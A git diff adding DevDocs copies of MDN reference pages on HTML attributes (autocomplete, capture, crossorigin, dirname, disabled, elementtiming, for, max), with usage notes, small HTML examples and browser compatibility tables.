A new password. When creating a new account or changing passwords, this should be used for an "Enter your new password" or "Confirm new password" field, as opposed to a general "Enter your current password" field that might be present. This may be used by the browser both to avoid accidentally filling in an existing password and to offer assistance in creating a secure password (see also Preventing autofilling with autocomplete="new-password").

+"current-password"

The user's current password.

+"one-time-code"

A one-time password (OTP) for verifying user information, most commonly a phone number used as an additional factor in a sign-in flow.

+"organization-title"

A job title, or the title a person has within an organization, such as "Senior Technical Writer", "President", or "Assistant Troop Leader".

+"organization"

A company or organization name, such as "Acme Widget Company" or "Girl Scouts of America".

+"street-address"

A street address. This can be multiple lines of text, and should fully identify the location of the address within its second administrative level (typically a city or town), but should not include the city name, ZIP or postal code, or country name.

+"shipping"

The street address to send the product. This can be combined with other tokens, such as "shipping street-address" and "shipping address-level2".

+"billing"

The street address to associate with the form of payment used. This can be combined with other tokens, such as "billing street-address" and "billing address-level2".

+"address-line1", "address-line2", "address-line3"

Each individual line of the street address. These should only be present if the "street-address" is not present.

+"address-level4"

The finest-grained administrative level, in addresses which have four levels.

+"address-level3"

The third administrative level, in addresses with at least three administrative levels.

+"address-level2"

The second administrative level, in addresses with at least two of them. In countries with two administrative levels, this would typically be the city, town, village, or other locality in which the address is located.

+"address-level1"

The first administrative level in the address. This is typically the province in which the address is located. In the United States, this would be the state. In Switzerland, the canton. In the United Kingdom, the post town.

+"country"

A country or territory code.

+"country-name"

A country or territory name.

+"postal-code"

A postal code (in the United States, this is the ZIP code).

+"cc-name"

The full name as printed on or associated with a payment instrument such as a credit card. Using a full name field is preferred, typically, over breaking the name into pieces.

+"cc-given-name"

A given (first) name as given on a payment instrument like a credit card.

+"cc-additional-name"

A middle name as given on a payment instrument or credit card.

+"cc-family-name"

A family name, as given on a credit card.

+"cc-number"

A credit card number or other number identifying a payment method, such as an account number.

+"cc-exp"

A payment method expiration date, typically in the form "MM/YY" or "MM/YYYY".

+"cc-exp-month"

The month in which the payment method expires.

+"cc-exp-year"

The year in which the payment method expires.

+"cc-csc"

The security code for the payment instrument; on credit cards, this is the 3-digit verification number on the back of the card.

+"cc-type"

The type of payment instrument (such as "Visa" or "Master Card").

+"transaction-currency"

The currency in which the transaction is to take place.

+"transaction-amount"

The amount, given in the currency specified by "transaction-currency", of the transaction, for a payment form.

+"language"

A preferred language, given as a valid BCP 47 language tag.

+"bday"

A birth date, as a full date.

+"bday-day"

The day of the month of a birth date.

+"bday-month"

The month of the year of a birth date.

+"bday-year"

The year of a birth date.

+"sex"

A gender identity (such as "Female", "Fa'afafine", "Hijra", "Male", "Nonbinary"), as freeform text without newlines.

+"tel"

A full telephone number, including the country code. If you need to break the phone number up into its components, you can use these values for those fields:

+"tel-country-code"

The country code, such as "1" for the United States, Canada, and other areas in North America and parts of the Caribbean.

+"tel-national"

The entire phone number without the country code component, including a country-internal prefix. For the phone number "1-855-555-6502", this field's value would be "855-555-6502".

+"tel-area-code"

The area code, with any country-internal prefix applied if appropriate.

+"tel-local"

The phone number without the country or area code. This can be split further into two parts, for phone numbers which have an exchange number and then a number within the exchange. For the phone number "555-6502", use "tel-local-prefix" for "555" and "tel-local-suffix" for "6502".

+"tel-extension"

A telephone extension code within the phone number, such as a room or suite number in a hotel or an office extension in a company.

+"impp"

A URL for an instant messaging protocol endpoint, such as "xmpp:username@example.net".

+"url"

A URL, such as a home page or company website address as appropriate given the context of the other fields in the form.

+"photo"

The URL of an image representing the person, company, or contact information given in the other fields in the form.

+"webauthn"

Passkeys generated by the Web Authentication API, as requested by a conditional navigator.credentials.get() call (i.e., one that includes mediation: 'conditional'). See Sign in with a passkey through form autofill for more details.

See the WHATWG Standard for more detailed information.

Note: The autocomplete attribute also controls whether Firefox will — unlike other browsers — persist the dynamic disabled state and (if applicable) dynamic checkedness of an <input> element, <textarea> element, or entire <form> across page loads. The persistence feature is enabled by default. Setting the value of the autocomplete attribute to off disables this feature. This works even when the autocomplete attribute would normally not apply by virtue of its type. See Firefox bug 654072.

+
+

Examples

+
+

html

+
<div>
+  <label for="cc-number">Enter your credit card number</label>
+  <input name="cc-number" id="cc-number" autocomplete="off" />
+</div>
+
+
+

Administrative levels in addresses

+
+

The four administrative level fields (address-level1 through address-level4) describe the address in terms of increasing levels of precision within the country in which the address is located. Each country has its own system of administrative levels, and may arrange the levels in different orders when addresses are written.

address-level1 always represents the broadest administrative division; it is the least-specific portion of the address short of the country name.

+
+

Form layout flexibility

+

Given that different countries write their address in different ways, with each field in different places within the address, and even different sets and numbers of fields entirely, it can be helpful if, when possible, your site is able to switch to the layout expected by your users when presenting an address entry form, given the country the address is located within.

+

Variations

+
+

The way each administrative level is used will vary from country to country. Below are some examples; this is not meant to be an exhaustive list.

United States

A typical home address within the United States looks like this:

432 Anywhere St Exampleville CA 95555

In the United States, the least-specific portion of the address is the state, in this case "CA" (the official US Postal Service shorthand for "California"). Thus address-level1 is the state, or "CA" in this case.

The second-least specific portion of the address is the city or town name, so address-level2 is "Exampleville" in this example address.

United States addresses do not use levels 3 and up.

United Kingdom

Address input forms in the UK should contain one address level and one, two or three address lines, depending on the address. A complete address would look like so:

103 Frogmarch Street Upper-Wapping Winchelsea TN99 8ZZ

The address levels are:

The postcode is separate. Note that you can actually use just the postcode and address-line1 to successfully deliver mail in the UK, so they should be the only mandatory items, but usually people tend to provide more details.

China

China can use as many as three administrative levels: the province, the city, and the district.

The 6 digit postal code is not always needed but when supplied it is placed separately with a label for clarity. For example:

北京市东城区建国门北大街 8 号华润大厦 17 层 1708 单元 邮编：100005

Japan

An address in Japan is typically written in one line, in an order from the least-specific to more-specific portions (in reverse order to the United States). There are two or three administrative levels in an address. Additional line can be used to show building names and room numbers. The postal code is separate. For example:

〒 381-0000 長野県長野市某町 123

"〒" and following seven digits shows the postal code.

address-level1 is used for prefectures or the Tokyo Metropolis; "長野県" (Nagano Prefecture) is in this case. address-level2 is typically used for cities, counties, towns and villages; "長野市" (Nagano City) in this case. "某町 123" is address-line1 which consists of an area name and a lot number.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-fe-autocomplete
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
autocomplete
14["In Chrome 66, support was added for the <textarea> and <select> elements.", "Originally only supported on the <input> element.", "Chrome does not accept off as a value. See bug 587466."]
≤794No≤12.16
4.4["In Chrome 66, support was added for the <textarea> and <select> elements.", "Originally only supported on the <input> element.", "Chrome does not accept off as a value. See bug 587466."]
18["In Chrome 66, support was added for the <textarea> and <select> elements.", "Originally only supported on the <input> element.", "Chrome does not accept off as a value. See bug 587466."]
4≤12.16
1.0["In Samsung Internet 9.0, support was added for the <textarea> and <select> elements.", "Originally only supported on the <input> element.", "Samsung Internet does not accept off as a value. See bug 587466."]
new-passwordNoNo67NoNoNoNoNo67NoNoNo
one-time-code9393NoNo7912No84No601214.0
webauthn108108NoNo94No108108No73No21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/autocomplete +

+
diff --git a/devdocs/html/attributes%2Fcapture.html b/devdocs/html/attributes%2Fcapture.html new file mode 100644 index 00000000..47a7979e --- /dev/null +++ b/devdocs/html/attributes%2Fcapture.html @@ -0,0 +1,80 @@ +

HTML attribute: capture

+

The capture attribute specifies that, optionally, a new file should be captured, and which device should be used to capture that new media of a type defined by the accept attribute.

Values include user and environment. The capture attribute is supported on the file input type.

The capture attribute takes as its value a string that specifies which camera to use for capture of image or video data, if the accept attribute indicates that the input should be of one of those types.

Value Description
user The user-facing camera and/or microphone should be used.
environment The outward-facing camera and/or microphone should be used

Note: Capture was previously a Boolean attribute which, if present, requested that the device's media capture device(s) such as camera or microphone be used instead of requesting a file input.

+
+

Try it

+
+

Examples

+
+

When set on a file input type, operating systems with microphones and cameras will display a user interface allowing the selection from an existing file or the creating of a new one.

+

html

+
<p>
+  <label for="soundFile">What does your voice sound like?:</label>
+  <input type="file" id="soundFile" capture="user" accept="audio/*" />
+</p>
+<p>
+  <label for="videoFile">Upload a video:</label>
+  <input type="file" id="videoFile" capture="environment" accept="video/*" />
+</p>
+<p>
+  <label for="imageFile">Upload a photo of yourself:</label>
+  <input type="file" id="imageFile" capture="user" accept="image/*" />
+</p>
+
+
+
+ + +

Note these work better on mobile devices; if your device is a desktop computer, you'll likely get a typical file picker.

+
+

Specifications

+
+ + +
Specification
HTML Media Capture
# dfn-capture
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
captureNoNoNoNoNoNo4.4257914101.5
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/capture +

+
diff --git a/devdocs/html/attributes%2Fcrossorigin.html b/devdocs/html/attributes%2Fcrossorigin.html new file mode 100644 index 00000000..effd40dc --- /dev/null +++ b/devdocs/html/attributes%2Fcrossorigin.html @@ -0,0 +1,202 @@ +

HTML attribute: crossorigin

+

The crossorigin attribute, valid on the <audio>, <img>, <link>, <script>, and <video> elements, provides support for CORS, defining how the element handles cross-origin requests, thereby enabling the configuration of the CORS requests for the element's fetched data. Depending on the element, the attribute can be a CORS settings attribute.

The crossorigin content attribute on media elements is a CORS settings attribute.

These attributes are enumerated, and have the following possible values:

anonymous

Request uses CORS headers and credentials flag is set to 'same-origin'. There is no exchange of user credentials via cookies, client-side TLS certificates or HTTP authentication, unless destination is the same origin.

use-credentials

Request uses CORS headers, credentials flag is set to 'include' and user credentials are always included.

""

Setting the attribute name to an empty value, like crossorigin or crossorigin="", is the same as anonymous.

An invalid keyword and an empty string will be handled as the anonymous keyword.

By default (that is, when the attribute is not specified), CORS is not used at all. The user agent will not ask for permission for full access to the resource and in the case of a cross-origin request, certain limitations will be applied based on the type of element concerned:

Element Restrictions
+img, audio, video + When resource is placed in <canvas>, element is marked as tainted.
script Access to error logging via window.onerror will be limited.
link Request with no appropriate crossorigin header may be discarded.

Note: The crossorigin attribute is not supported for rel="icon" in Chromium-based browsers. See the open Chromium issue.

+
+

Example: crossorigin with the <script> element

+
+

You can use the following <script> element to tell a browser to execute the https://example.com/example-framework.js script without sending user-credentials.

+

html

+
<script
+  src="https://example.com/example-framework.js"
+  crossorigin="anonymous"></script>
+
+
+
+

Example: Web manifest with credentials

+
+

The use-credentials value must be used when fetching a manifest that requires credentials, even if the file is from the same origin.

+

html

+
<link rel="manifest" href="/app.webmanifest" crossorigin="use-credentials" />
+
+
+
+

Specifications

+
+ + +
Specification
HTML Standard
# cors-settings-attributes
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
crossorigin33≤1874
12–74With crossorigin="use-credentials", cookies aren't sent during seek. See bug 1532722.
+		No20104.4.33379
14–79With crossorigin="use-credentials", cookies aren't sent during seek. See bug 1532722.
+		20102.0
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
crossorigin191414No12
6The crossorigin attribute was implemented in WebKit in WebKit bug 81438.
4.4251412
6The crossorigin attribute was implemented in WebKit in WebKit bug 81438.
1.5
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
crossorigin3417
18Before Firefox 83, crossorigin is not supported for rel="icon".
No21103734
18Before Firefox 83, crossorigin is not supported for rel="icon".
21102.0
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
crossorigin13128Yes1564.41881461.0
+

html.elements.img.crossorigin

+

BCD tables only load in the browser

+

html.elements.link.crossorigin

+

BCD tables only load in the browser

+

html.elements.script.crossorigin

+

BCD tables only load in the browser

+

html.elements.video.crossorigin

+

BCD tables only load in the browser

+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/crossorigin +

+
diff --git a/devdocs/html/attributes%2Fdirname.html b/devdocs/html/attributes%2Fdirname.html new file mode 100644 index 00000000..2d0a77f8 --- /dev/null +++ b/devdocs/html/attributes%2Fdirname.html @@ -0,0 +1,159 @@ +

HTML attribute: dirname

The dirname attribute can be used on <textarea> and <input> elements and describes the directionality of the element's text content during form submission. The browser uses this attribute's value to determine whether text the user has entered is left-to-right or right-to-left oriented. When used, the element's text directionality value is included in form submission data along with the dirname attribute's value as the name of the field.

+

Usage notes

+
+

The dirname attribute can be used on any <textarea> element, or any <input> element with text, search, tel, url, or email type.

The format of the submitted data is {dirname_value}={direction} where {dirname_value} is the value of the dirname attribute and {direction} is the directionality of the text. For example, if the user enters "Hello" in an element with the attributes name="comment" and dirname="comment-direction", the URL-encoded form submission data for GET requests will be comment=Hello&comment-direction=ltr. The directionality is one of the following:

rtl

The text entered by the user is in a right-to-left writing direction.

ltr

The text entered by the user is in a left-to-right writing direction.

If no text directionality is specified, the user agent will use the directionality of the parent element containing the form, and if that is not specified, the default directionality of the user agent.

+
+

Examples

+ +

Textarea element directionality

+
+

In this example, the dir="auto" attribute on the textarea element allows the text directionality to be determined automatically based on the text entered by the user:

+

html

+
<form method="get" action="https://www.example.com/submit">
+  <textarea name="comment" dir="auto" dirname="comment-direction">سيب</textarea>
+  <button type="submit">Send my greetings</button>
+</form>
+
+

When the user submits the form, the user agent includes two fields, one called comment with the value "سيب", and one called comment-direction with the value "rtl". The URL-encoded submission body looks like this:

+

url

+
https://www.example.com/submit?comment=%D8%B3%D9%8A%D8%A8&comment-direction=rtl
+
+
+
+

Input element directionality

+
+

In this example, the dir="auto" attribute on the input element allows the text directionality to be determined automatically based on the text entered by the user:

+

html

+
<form method="get" action="https://www.example.com/submit">
+  <input
+    type="text"
+    name="comment-input"
+    dir="auto"
+    dirname="comment-direction"
+    value="Hello" />
+  <button type="submit">Send my greetings</button>
+</form>
+
+

When the user submits the form, the user agent includes two fields, one called comment-input with the value "Hello", and one called comment-direction with the value "ltr":

+

url

+
https://www.example.com/submit?comment-input=Hello&comment-direction=ltr
+
+
+
+

Inheriting directionality

+
+

The following <input> and <textarea> elements do not have a dir attribute, so they inherit the explicit directionality of their parent element, which is rtl:

+

html

+
<div dir="rtl">
+  <form method="get" action="https://www.example.com/submit">
+    <input
+      type="text"
+      name="user"
+      dirname="user-direction"
+      value="LTR Username" />
+    <textarea name="comment" dirname="comment-direction">LTR Comment</textarea>
+    <button type="submit">Post Comment</button>
+  </form>
+</div>
+
+

The URL-encoded submission body looks like this:

+

url

+
https://www.example.com/submit?user=LTR+Username&user-direction=rtl&comment=LTR+Comment&comment-direction=rtl
+
+
+
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-fe-dirname
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
dirname1779116No≤12.164.418116≤12.161.0
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
dirname1779116No≤12.16≤3718116≤12.161.0
+

html.elements.textarea.dirname

+

BCD tables only load in the browser

+

html.elements.input.dirname

+

BCD tables only load in the browser

+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/dirname +

+
diff --git a/devdocs/html/attributes%2Fdisabled.html b/devdocs/html/attributes%2Fdisabled.html new file mode 100644 index 00000000..51153549 --- /dev/null +++ b/devdocs/html/attributes%2Fdisabled.html @@ -0,0 +1,392 @@ +

HTML attribute: disabled

The Boolean disabled attribute, when present, makes the element not mutable, focusable, or even submitted with the form. The user can neither edit nor focus on the control, nor its form control descendants.

+

Try it

+
+

Overview

+
+

If the disabled attribute is specified on a form control, the element and its form control descendants do not participate in constraint validation. Often browsers grey out such controls and it won't receive any browsing events, like mouse clicks or focus-related ones.

The disabled attribute is supported by <button>, <fieldset>, <optgroup>, <option>, <select>, <textarea> and <input>.

This Boolean disabled attribute indicates that the user cannot interact with the control or its descendant controls. If this attribute is not specified, the control inherits its setting from the containing element, for example fieldset; if there is no containing element with the disabled attribute set, and the control itself does not have the attribute, then the control is enabled. If declared on an <optgroup>, the select is still interactive (unless otherwise disabled), but none of the items in the option group are selectable.

Note: If a <fieldset> is disabled, the descendant form controls are all disabled, with the exception of form controls within the <legend>.

When a supporting element has the disabled attribute applied, the :disabled pseudo-class also applies to it. Conversely, elements that support the disabled attribute but don't have the attribute set match the :enabled pseudo-class.

This Boolean attribute prevents the user from interacting with the button. If this attribute isn't set, the button can still be disabled from a containing element, for example <fieldset>; if there is no containing element with the disabled attribute set, then the button is enabled.

Firefox will, unlike other browsers, persist the dynamic disabled state of a <button> across page loads. Use the autocomplete attribute to control this feature.

+
+

Attribute interactions

+
+

The difference between disabled and readonly is that read-only controls can still function and are still focusable, whereas disabled controls can not receive focus and are not submitted with the form and generally do not function as controls until they are enabled.

Because a disabled field cannot have its value changed, required does not have any effect on inputs with the disabled attribute also specified. Additionally, since the elements become immutable, most other attributes, such as pattern, have no effect, until the control is enabled.

Note: The required attribute is not permitted on inputs with the disabled attribute specified.

+
+

Usability

+
+

Browsers display disabled form controls greyed as disabled form controls are immutable, won't receive focus or any browsing events, like mouse clicks or focus-related ones, and aren't submitted with the form.

If present on a supporting elements, the :disabled pseudo class will match. If the attribute is not included, the :enabled pseudo class will match. If the element doesn't support the disabled attribute, the attribute will have no effect, including not leading to being matched by the :disabled and :enabled pseudo classes.

+
+

Constraint validation

+

If the element is disabled, then the element's value can not receive focus and cannot be updated by the user, and does not participate in constraint validation.

+

Examples

+
+

When form controls are disabled, many browsers will display them in a lighter, greyed-out color by default. Here are examples of a disabled checkbox, radio button, <option> and <optgroup>, as well as some form controls that are disabled via the disabled attribute set on the ancestor <fieldset> element. The <option>s are disabled, but the <select> itself is not. We could have disable the entire <select> by adding the attribute to that element rather than its descendants.

+

html

+
<fieldset>
+  <legend>Checkboxes</legend>
+  <p>
+    <label>
+      <input type="checkbox" name="chbox" value="regular" /> Regular
+    </label>
+  </p>
+  <p>
+    <label>
+      <input type="checkbox" name="chbox" value="disabled" disabled /> disabled
+    </label>
+  </p>
+</fieldset>
+
+<fieldset>
+  <legend>Radio buttons</legend>
+  <p>
+    <label> <input type="radio" name="radio" value="regular" /> Regular </label>
+  </p>
+  <p>
+    <label>
+      <input type="radio" name="radio" value="disabled" disabled /> disabled
+    </label>
+  </p>
+</fieldset>
+
+<p>
+  <label
+    >Select an option:
+    <select>
+      <optgroup label="Group 1">
+        <option>Option 1.1</option>
+      </optgroup>
+      <optgroup label="Group 2">
+        <option>Option 2.1</option>
+        <option disabled>Option 2.2</option>
+        <option>Option 2.3</option>
+      </optgroup>
+      <optgroup label="Group 3" disabled>
+        <option>Disabled 3.1</option>
+        <option>Disabled 3.2</option>
+        <option>Disabled 3.3</option>
+      </optgroup>
+    </select>
+  </label>
+</p>
+
+<fieldset disabled>
+  <legend>Disabled fieldset</legend>
+  <p>
+    <label>
+      Name: <input type="name" name="radio" value="regular" /> Regular
+    </label>
+  </p>
+  <p>
+    <label>Number: <input type="number" /></label>
+  </p>
+</fieldset>
+
+
+
+ + +
+
+

Specifications

+
+ + + + + + +
Specification
HTML Standard
# attr-fe-disabled
HTML Standard
# attr-optgroup-disabled
HTML Standard
# attr-option-disabled
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
disabled1121≤6≤12.1≤44.4184≤12.1≤3.21.0
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
disabled1121Yes1534.41841421.0
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
disabled1121Yes15≤44.418414≤3.21.0
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
disabled1121815≤44.418414≤3.21.0
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
disabled11215.5≤12.114.4184≤12.111.0
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
disabled20
12Does not work with nested fieldsets. For example: <fieldset disabled><fieldset><!--Still enabled--></fieldset></fieldset>
4
YesNot all form control descendants of a disabled fieldset are properly disabled in IE11; see IE bug 817488: input[type='file'] not disabled inside disabled fieldset and IE bug 962368: Can still edit input[type='text'] within fieldset[disabled].
1264.42541261.5
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
disabled1121Yes15≤44.418414≤3.21.0
+

html.elements.button.disabled

+

BCD tables only load in the browser

+

html.elements.fieldset.disabled

+

BCD tables only load in the browser

+

html.elements.input.disabled

+

BCD tables only load in the browser

+

html.elements.optgroup.disabled

+

BCD tables only load in the browser

+

html.elements.option.disabled

+

BCD tables only load in the browser

+

html.elements.select.disabled

+

BCD tables only load in the browser

+

html.elements.textarea.disabled

+

BCD tables only load in the browser

+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/disabled +

+
diff --git a/devdocs/html/attributes%2Felementtiming.html b/devdocs/html/attributes%2Felementtiming.html new file mode 100644 index 00000000..b4a5d860 --- /dev/null +++ b/devdocs/html/attributes%2Felementtiming.html @@ -0,0 +1,26 @@ +

HTML attribute: elementtiming

+

The elementtiming attribute is used to indicate that an element is flagged for tracking by PerformanceObserver objects using the "element" type. For more details, see the PerformanceElementTiming interface.

This attribute may be applied to <img>, <image> elements inside an <svg>, poster images of <video> elements, elements which have a background-image, and elements containing text nodes, such as a <p>.

In the DOM, this attribute is reflected as Element.elementTiming.

+
+

Usage

+
+

The value given for elementtiming becomes an identifier for the observed element.

+

html

+
<img alt="alt" src="img.jpg" elementtiming="label for element" />
+
+

Good contenders for elements you might want to observe are:

+
+

Examples

+
+

html

+
<img alt="Alt for a main blog post image" src="my-massive-image.jpg" elementtiming="Main image">
+
+<p elementtiming="important-text">Some very important information.</p">
+
+
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/elementtiming +

+
diff --git a/devdocs/html/attributes%2Ffor.html b/devdocs/html/attributes%2Ffor.html new file mode 100644 index 00000000..b021cd77 --- /dev/null +++ b/devdocs/html/attributes%2Ffor.html @@ -0,0 +1,113 @@ +

HTML attribute: for

The for attribute is an allowed attribute for <label> and <output>. When used on a <label> element it indicates the form element that this label describes. When used on an <output> element it allows for an explicit relationship between the elements that represent values which are used in the output.

+

Usage

+
+

When used as an attribute of <label>, the for attribute has a value which is the id of the form element it relates to.

+

html

+
<label for="username">Your name</label> <input type="text" id="username" />
+
+

When used as an attribute of <output>, the for attribute has a value which is a space separated list of the id values of the elements which are used to create the output.

+

html

+
<input type="range" id="b" name="b" value="50" /> +
+<input type="number" id="a" name="a" value="10" /> =
+<output name="result" for="a b">60</output>
+
+
+
+

Examples

+

See examples of usage on the element pages for <label> and <output>.

+

Specifications

+
+ + + + + +
Specification
HTML Standard
# attr-label-for
HTML Standard
# attr-output-for
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
for10≤184No1174.41841171.0
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
for1121Yes15≤44.418414≤3.21.0
+

html.elements.label.for

+

BCD tables only load in the browser

+

html.elements.output.for

+

BCD tables only load in the browser

+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/for +

+
diff --git a/devdocs/html/attributes%2Fmax.html b/devdocs/html/attributes%2Fmax.html new file mode 100644 index 00000000..acd702fc --- /dev/null +++ b/devdocs/html/attributes%2Fmax.html @@ -0,0 +1,154 @@ +

HTML attribute: max

+

The max attribute defines the maximum value that is acceptable and valid for the input containing the attribute. If the value of the element is greater than this, the element fails validation. This value must be greater than or equal to the value of the min attribute. If the max attribute is present but is not specified or is invalid, no max value is applied. If the max attribute is valid and a non-empty value is greater than the maximum allowed by the max attribute, constraint validation will prevent form submission.

Valid for the numeric input types, including the date, month, week, time, datetime-local, number and range types, and both the <progress> and <meter> elements, the max attribute is a number that specifies the most positive value a form control to be considered valid.

If the value exceeds the max value allowed, the validityState.rangeOverflow will be true, and the control will be matched by the :out-of-range and :invalid pseudo-classes.

+
+

Syntax

+
+
Syntax for max values by input type
Input type Syntax Example
date yyyy-mm-dd <input type="date" max="2019-12-25" step="1">
month yyyy-mm <input type="month" max="2019-12" step="12">
week yyyy-W## <input type="week" max="2019-W23" step="">
time hh:mm <input type="time" max="17:00" step="900">
datetime-local yyyy-mm-ddThh:mm <input type="datetime-local" max="2019-12-25T23:59">
number <number> <input type="number" min="0" step="5" max="100">
range <number> <input type="range" min="60" step="5" max="100">

Note: When the data entered by the user doesn't adhere to the maximum value set, the value is considered invalid in constraint validation and will match the :invalid and :out-of-range pseudo-classes.

See Client-side validation and rangeOverflow for more information.

For the <progress> element, the max attribute describes how much work the task indicated by the progress element requires. If present, must have a value greater than zero and be a valid floating point number. For the <meter> element, the max attribute defines the upper numeric bound of the measured range. This must be greater than the minimum value (min attribute), if specified. In both cases, if omitted, the value defaults to 1.

Syntax for max values for other elements
Input type Syntax Example
<progress> <number> <progress id="file" max="100" value="70"> 70% +</progress>
<meter> <number> <meter id="fuel" min="0" max="100" low="33" high="66" +optimum="80" value="40"> at 40/100</meter>
+
+

Accessibility concerns

+

Provide instructions to help users understand how to complete the form and use individual form controls. Indicate any required and optional input, data formats, and other relevant information. When using the max attribute, ensure this maximum requirement is understood by the user. Providing instructions within the <label> may be sufficient. If providing instructions outside of labels, which allows more flexible positioning and design, consider using aria-labelledby or aria-describedby.

+

Specifications

+
+ + + + + + +
Specification
HTML Standard
# the-min-and-max-attributes
HTML Standard
# attr-meter-max
HTML Standard
# attr-progress-max
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
max6126101164.41861171.0
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
max6≤1816No116No18161110.31.0
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
max4121610≤12.15≤371816≤12.141.0
+

html.elements.input.max

+

BCD tables only load in the browser

+

